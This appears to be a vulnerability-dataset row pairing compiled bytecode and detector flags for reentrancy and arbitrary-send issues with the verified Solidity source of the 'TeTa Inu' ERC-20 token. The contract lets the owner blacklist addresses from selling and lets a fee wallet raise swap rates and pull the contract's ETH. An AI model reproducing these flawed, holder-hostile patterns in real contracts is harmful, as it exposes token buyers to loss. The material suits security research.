826136fc565b602082019050919050565b612d92816132bb565b82525050565b612da1816132c5565b82525050565b6000602082019050612dbc6000830184612b21565b92915050565b6000604082019050612dd76000830185612b21565b612de46020830184612b21565b9392505050565b6000604082019050612e006000830185612b21565b612e0d6020830184612d89565b9392505050565b600060c082019050612e296000830189612b21565b612e366020830188612d89565b612e436040830187612b9d565b612e506060830186612b9d565b612e5d6080830185612b21565b612e6a60a0830184612d89565b979650505050505050565b6000602082019050612e8a6000830184612b8e565b92915050565b60006020820190508181036000830152612eaa8184612bac565b905092915050565b60006020820190508181036000830152612ecb81612be5565b9050919050565b60006020820190508181036000830152612eeb81612c08565b9050919050565b60006020820190508181036000830152612f0b81612c2b565b9050919050565b60006020820190508181036000830152612f2b81612c4e565b9050919050565b60006020820190508181036000830152612f4b81612c71565b9050919050565b60006020820190508181036000830152612f6b81612c94565b9050919050565b60006020820190508181036000830152612f8b81612cb7565b9050919050565b60006020820190508181036000830152612fab81612cda565b9050919050565b60006020820190508181036000830152612fcb81612cfd565b9050919050565b60006020820190508181036000830152612feb81612d20565b9050919050565b6000602082019050818103600083015261300b81612d43565b9050919050565b6000602082019050818103600083015261302b81612d66565b9050919050565b60006020820190506130476000830184612d89565b92915050565b600060a0820190506130626000830188612d89565b61306f6020830187612b9d565b81810360408301526130818186612b30565b90506130906060830185612b21565b61309d6080830184612d89565b9695505050505050565b60006020820190506130bc6000830184612d98565b92915050565b60006130cc6130dd565b90506130d88282613317565b919050565b6000604051905090565b600067ffffffffffffffff821115613102576131016133ef565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613173826132bb565b915061317e836132bb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131b3576131b2613391565b5b828201905092915050565b60006131c9826132bb565b91506131d4836132bb565b9250826131e4576131e36133c0565b5b828204905092915050565b60006131fa826132bb565b9150613205836132bb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561323e5761323d613391565b5b828202905092915050565b6000613254826132bb565b915061325f836132bb565b92508282101561327257613271613391565b5b828203905092915050565b60006132888261329b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132dd826132bb565b9050919050565b60005b838110156133025780820151818401526020810190506132e7565b83811115613311576000848401525b50505050565b6133208261341e565b810181811067ffffffffffffffff8211171561333f5761333e6133ef565b5b80604052505050565b6000613353826132bb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338657613385613391565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61372e8161327d565b811461373957600080fd5b50565b6137458161328f565b811461375057600080fd5b50565b61375c816132bb565b811461376757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365537461725472656b506978656c207c2020742e6d652f737461727472656b706978656ca264697066735822122015cd45b35d597045f5ff688e9cf79cf76bdb0bdb66b74a2871df19f5f081f10864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,637 |
0x750cf458283398e263644af604b60b1cf59476da
|
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TetaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "TeTa Inu";
string private constant _symbol = "TeTa";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x4D3d72c0203787a63B712132400Cb5C51d0016eF);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129dd565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612aa7565b61051c565b6040516101a49190612b02565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b1d565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b93565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612cf6565b610643565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d3f565b6108a5565b60405161025e9190612b02565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d92565b61097e565b005b34801561029c57600080fd5b506102a5610a6e565b6040516102b29190612ddb565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612df6565b610a77565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e4f565b610af0565b005b34801561031957600080fd5b50610334600480360381019061032f9190612df6565b610ba2565b005b34801561034257600080fd5b5061034b610c7d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d92565b610cef565b6040516103819190612b93565b60405180910390f35b34801561039657600080fd5b5061039f610d40565b005b3480156103ad57600080fd5b506103b6610e93565b005b3480156103c457600080fd5b506103cd610f4c565b6040516103da9190612e8b565b60405180910390f35b3480156103ef57600080fd5b506103f8610f75565b60405161040591906129dd565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612aa7565b610fb2565b6040516104429190612b02565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612df6565b610fd0565b005b34801561048057600080fd5b506104896110ab565b005b34801561049757600080fd5b506104a0611125565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ea6565b611693565b6040516104d69190612b93565b60405180910390f35b60606040518060400160405280600881526020017f5465546120496e75000000000000000000000000000000000000000000000000815250905090565b600061053061052961171a565b8484611722565b6001905092915050565b61054261171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f32565b60405180910390fd5b600f5483856105de9190612f81565b11156105e957600080fd5b60105481836105f89190612f81565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b600069021e19e0c9bab2400000905090565b61064b61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90612f32565b60405180910390fd5b60005b81518110156108a1573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070e5761070d612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061078157610780612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108165750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f5576107f4612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088e5760016007600084848151811061083457610833612fd7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089990613006565b9150506106db565b5050565b60006108b28484846118eb565b610973846108be61171a565b61096e8560405180606001604052806028815260200161385760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092461171a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e919092919063ffffffff16565b611722565b600190509392505050565b61098661171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a90612f32565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab861171a565b73ffffffffffffffffffffffffffffffffffffffff1614610ad857600080fd5b6031811115610ae657600080fd5b8060128190555050565b610af861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90612f32565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610baa61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612f32565b60405180910390fd5b60008111610c4457600080fd5b610c746064610c668369021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbe61171a565b73ffffffffffffffffffffffffffffffffffffffff1614610cde57600080fd5b6000479050610cec81611fb9565b50565b6000610d39600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612025565b9050919050565b610d4861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90612f32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e9b61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90612f32565b60405180910390fd5b69021e19e0c9bab240000060158190555069021e19e0c9bab2400000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5465546100000000000000000000000000000000000000000000000000000000815250905090565b6000610fc6610fbf61171a565b84846118eb565b6001905092915050565b610fd861171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90612f32565b60405180910390fd5b6000811161107257600080fd5b6110a260646110948369021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec61171a565b73ffffffffffffffffffffffffffffffffffffffff161461110c57600080fd5b600061111730610cef565b905061112281612093565b50565b61112d61171a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612f32565b60405180910390fd5b60148054906101000a900460ff1615611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061309a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669021e19e0c9bab2400000611722565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130891906130cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561136f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139391906130cf565b6040518363ffffffff1660e01b81526004016113b09291906130fc565b6020604051808303816000875af11580156113cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f391906130cf565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147c30610cef565b600080611487610f4c565b426040518863ffffffff1660e01b81526004016114a99695949392919061316a565b60606040518083038185885af11580156114c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ec91906131e0565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff0219169083151502179055506115566064611548600169021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60158190555061158d606461157f600269021e19e0c9bab2400000611ef590919063ffffffff16565b611f6f90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161164c929190613233565b6020604051808303816000875af115801561166b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168f9190613271565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613310565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906133a2565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118de9190612b93565b60405180910390a3505050565b6000811161192e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192590613434565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611951610f4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119bf575061198f610f4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8157601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a6f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611add5750601460179054906101000a900460ff165b15611b4a57601554811115611af157600080fd5b60165481611afe84610cef565b611b089190612f81565b1115611b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b40906134a0565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bf25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c4b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1957600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf45750600760008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff